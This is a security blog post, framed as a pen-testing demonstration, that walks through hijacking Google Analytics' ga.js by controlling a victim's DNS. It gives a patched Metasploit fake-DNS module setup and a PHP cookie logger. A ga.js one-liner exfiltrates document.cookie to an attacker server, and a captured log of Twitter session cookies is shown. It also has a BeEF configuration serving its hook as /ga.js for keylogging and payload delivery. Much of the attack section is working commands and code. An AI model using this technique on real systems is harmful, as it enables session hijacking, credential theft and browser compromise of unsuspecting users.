The Rambling Intro

This is a fun one I came up with while looking at a site this week. I feel sure that somebody else must have come up with this before me, but I’ve never seen anyone blog about it or anything, so here goes.
The back story is that somebody posted a link to some “password strength checker” website, in which of course you type your password and it tells you how long it thinks it would take someone to crack it. Naturally, I find this to be a dumb idea, as you’re typing your password into some random website of some random guy you don’t know, and it didn’t even use SSL.
The site author explains that this isn’t a problem, because all the calculations are done in javascript, and no data is ever actually sent to his website. Alright, fine, even though the vast majority of users will never do this, I checked the code, and sure enough, no data goes to him, it’s all done in the browser. But… wait, he does use Google Analytics. Interesting.
Now the problem with the idea that it’s okay to type in a password on a website that doesn’t use SSL because it doesn’t ever send the data, is that the page can be manipulated. An attacker might change the form to actually submit the data somewhere, or he might inject javascript to actually record each key press and do the same, etc. The difficult part about pulling off an attack like that is that normally it means the attacker must have an actively maintained position as a man-in-the-middle for each target, replacing HTML content on the fly, and hoping he doesn’t noticeably break anything.
But what if there happened to already be a standalone chunk of javascript already included on roughly half the websites people use in the world? What if we could hijack that chunk of javascript with a fair amount less effort than keeping ettercap in place 24/7?

The Requirements

Alright, to pull this off, we still need a few things already accomplished. The only tough thing you have to pull off is getting control of the target’s DNS somehow. More specifically, we need to at least control the resolution to a single specific DNS record. There’s dozens of ways to do this, including, but not limited to..:
  • Actually being a man-in-the-midde, and using dnsspoof, ettercap, what have you.
  • Compromising the victim’s DNS server. Less likely if they’re using a major provider, but maybe you’re pen-testing an organization that runs one internally.
  • Add a record to the victim’s hosts file. This obviously requires some access already, but it would give you some additional permanence on a box, and help escalate you past what you have access to without their web passwords. It’s also not likely to be noticed if the victim doesn’t have some kind of file integrity tripwire set up.
  • Changing the DNS server on a router. Easy to do on your average home wireless router run by the inept, and still possible if an organization hasn’t properly secured their routers.
  • Run a fake DHCP server, and hand out your DNS server’s address to clients. This can go along well with PwnPlugs, for example.
So once we can do that, we just need to get their browser to believe that “www.google-analytics.com”, aka “www-google-analytics.l.google.com”, is at an IP address where we have a web server running on port 80.
Interestingly, Google makes this easy for us, in that we don’t have to worry about SSL, or certificate errors. We probably don’t have a way to make our web server’s SSL certificate match the one for Google’s, but that’s okay. In the javascript included on web pages that use it, Google Analytics actually checks to see if the site is being accessed via SSL, and if so, it calls the Analytics code from an entirely different host name, ssl.google-analytics.com, rather than www.
This means that if the victim accesses a site using Google Analytics over SSL from the start, we don’t get access, but the user also doesn’t get alerted. However, if the site initially loads unencrypted, we can hijack things and replace any links to https with regular http links from then on out.

The Fake DNS Server

For this demonstration, I’m going to assume we have successfully changed the DNS server of our victim. Again, this isn’t strictly necessary, but it’s the method I’m going to discuss in this post. As always, there are a dozen ways to do even this step, but in this instance I’m going to use a modified version of a modified version of the fake DNS server in the ever glorious Metasploit.
The problem with the fake DNS server included in Metasploit is that it will respond to all DNS queries with a single IP address, with the exception of specified domains which it will resolve normally. We want to do the exact opposite: Resolve all queries normally, with the exception of a specified domain, which we will be hijacking. Fortunately, a modified version of the Metasploit DNS server has been posted here, and it will do just that. Unfortunately, it’s broken.
Since that module was posted years ago, a lot of things have changed in Metasploit, and the module doesn’t work quite right now. The good news is, it’s easy to fix. Download the file from his website from here, or my mirror from here. Once you have the module, put it into your “modules/auxiliary/server/” directory inside Metasploit. In my case, that makes it /opt/framework3/msf3/modules/auxiliary/server/mitm_fakedns.rb, but yours may be different, especially if you installed MSF after it hit version 4.
Now you can either try and fix it yourself so that Metasploit doesn’t complain about it being formatted wrong, or you can just download my patch for it and fix it.
curl http://www.seventhoctober.net/mitm_fakedns.rb.patch | patch mitm_fakedns.rb
Metasploit should now be able to load and work with the module. The module requires two options set, one for the legitimate DNS server to forward most requests to, and one for a file containing a list of regular expressions to tell the module which DNS responses to mess with. For the first, pick any DNS server you like. For the second, create a file like so, replacing 127.0.0.1 with your external IP address:
echo 127.0.0.1,www-google-analytics.l.google.com > /root/hosts_spoof
You may note that this is not exactly a record for www.google-analytics.com. This threw me off a little bit at first, until I realized that this module does not run the given regex against the DNS requests, but rather the DNS responses from the legitimate server. Since a request for www.google-analytics.com actually returns a canonical name of www-google-analytics.l.google.com, we must make that our expression to match and be modified.
Incidentally, the URL looks vaguely like it might be a load balanced response, but I was unable to get any other answers back in the short time that I was messing with it. Keep that in mind, and in case yours doesn’t work for some reason, check that this is the response you are getting. If anybody knows more about that, I’d be interested in hearing from you.
Next, start the DNS server module with something like the following:
msfcli auxiliary/server/mitm_fakedns filename=/root/hosts_spoof realdns=8.8.8.8 E
And check that it is working with a query like:
dig @127.0.0.1 www.google-analytics.com
If all went well, it should return your own IP address in the record.

The Evil JavaScript

At this point, you can run any old web server with any old villainous javascript, so long as the server runs on port 80, and the javascript is hosted at /ga.js. Just about every website that uses Google Analytics will happily execute your javascript in the context of the page that loads it. Have fun!
Being that this is both an explanatory and a demo post, let’s specifically discuss a couple methods of actually abusing this technique. Firstly, let’s do a simple cross site cookie stealer. Since our javascript is running on the pages of the victims, we have access to the cookies of any page it runs on. As it turns out, this includes sites like Twitter, and WordPress.
Assuming you have a web server than can run PHP, create a couple of files that look something like the following:
[root html]# cat xss.php
$xssLog = “xss.log”;
$filehandler = fopen($xssLog, ‘a’) or die(“Cannot open file.”);
$writeString = $_SERVER["REMOTE_ADDR"] . ” – ” . $_SERVER["HTTP_USER_AGENT"] . ” – Referrer: ” . $_SERVER["HTTP_REFERER"] . ” – Cookie: ” . $_GET["cookie"] . “\n”;
fwrite($filehandler, $writeString);
fclose($fh);
?>
[root html]# cat ga.js
new Image().src=”http://YOUR_SERVER_ADDRESS/xss.php?cookie=”+encodeURI(document.cookie);
Next you’ll want to create a file for stuff to be logged to, and make sure the web server can write to it. This command may vary, based on your web server, or you can just chmod it. This is probably a slightly safer approach though:
[root html]# touch xss.log
[root html]# chown apache:apache xss.log
Once these are up, any time a victim visits any web page that uses Google Analytics, you should automatically get a record of it along with their cookies.
[root html]# cat xss.log
12.120.184.8 – Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 – Referrer: http://twitter.com/ – Cookie: k=10.25.435.167.1321234567890349; guest_id=v1%3A132061234567865685; original_referer=8bhz%2B%2ByebvgRkMMFCXx%2FCUOEvDoVeFTl; twid=u%3D412345908%7CTcf4XaVwruflsKyq5xgPpcA%2mwNw%3D; twll=l%3D1234616679; lang=en; js=1
Using Burp, or whatever your favorite tool is, you can use these cookies to become your victim on whatever website they browsed to.

The BeEF

Have you heard of BeEF? Now you have. Basically put, BeEF is a tool designed to help security people demonstrate exactly how serious these kinds of attacks can be. It acts as a web server, hosting a control panel for you, and some javascript for your victims. BeEF lets us get a little more… interactive.
BackTrack comes with BeEF installed, and it might actually work out of the box. Mine didn’t, and yours probably won’t, but I’m not helping you fix yours here if it’s broken. Come back when it’s working. :-)
Before we start BeEF, we need to make a couple changes to the config. On my system, the config file is located at “/pentest/web/beef/config.yaml”. Find and open that file. Find the http section, and replace the port and hook_file to look like so:
http:
host: “0.0.0.0″
port: “80″
# if running behind a nat set the public ip address here
#public: “”
dns: “localhost”
panel_path: “/ui/panel”
hook_file: “/ga.js”
hook_session_name: “BEEFHOOK”
session_cookie_name: “BEEFSESSION”
Now start up BeEF…
root@Wraith:/pentest/web/beef# ./beef
[15:14:23][*] Browser Exploitation Framework (BeEF)
[15:14:23] | Version 0.4.2.11-alpha
[15:14:23] | Website http://beefproject.com
[15:14:23] | Run ‘beef -h’ for basic help.
[15:14:23] |_ Run ‘svn update’ to update to the latest revision.
[15:14:25][*] BeEF is loading. Wait a few seconds…
[snip...]
[15:14:29][+] running on network interface: 127.0.1.1
[15:14:29] | Hook URL: http://127.0.1.1:80/ga.js
[15:14:29] |_ UI URL: http://127.0.1.1:80/ui/panel
[snip...]
As you hopefully noticed, you can find your control panel at http://127.0.1.1:80/ui/panel. I’ll leave you to figure out the default credentials, but you should probably change them anyway, in “beef/extensions/admin_ui/config.yaml”. Once you’re in, as soon as a victim has browsed to a site that uses Google Analytics, you should see them show up in your control panel.
Once a victim is in your control panel, you can browse through the commands tab to see all the nasty things you can do to them. Among such possibilities are:
  • Keylogging for everything typed on the page, including passwords.
  • Page redirection, including the ability to redirect using an iFrame, so as not to change the URL in the address bar.
  • Rickrolling. See previous.
  • Sending Java payloads to the client.
  • Making HTTP requests from the victim’s browser.
  • Stealing cookies associated with the page.
  • Making Skype calls.
  • Getting the current geographical location of the victim.
  • Determining if the victim is using Tor.
  • Determining if the victim is signed into social networks.
  • Running arbitrary raw javascript.
… and lots more. BeEF is fun, and it’s just one of the javascript exploit frameworks out there. Happy hunting!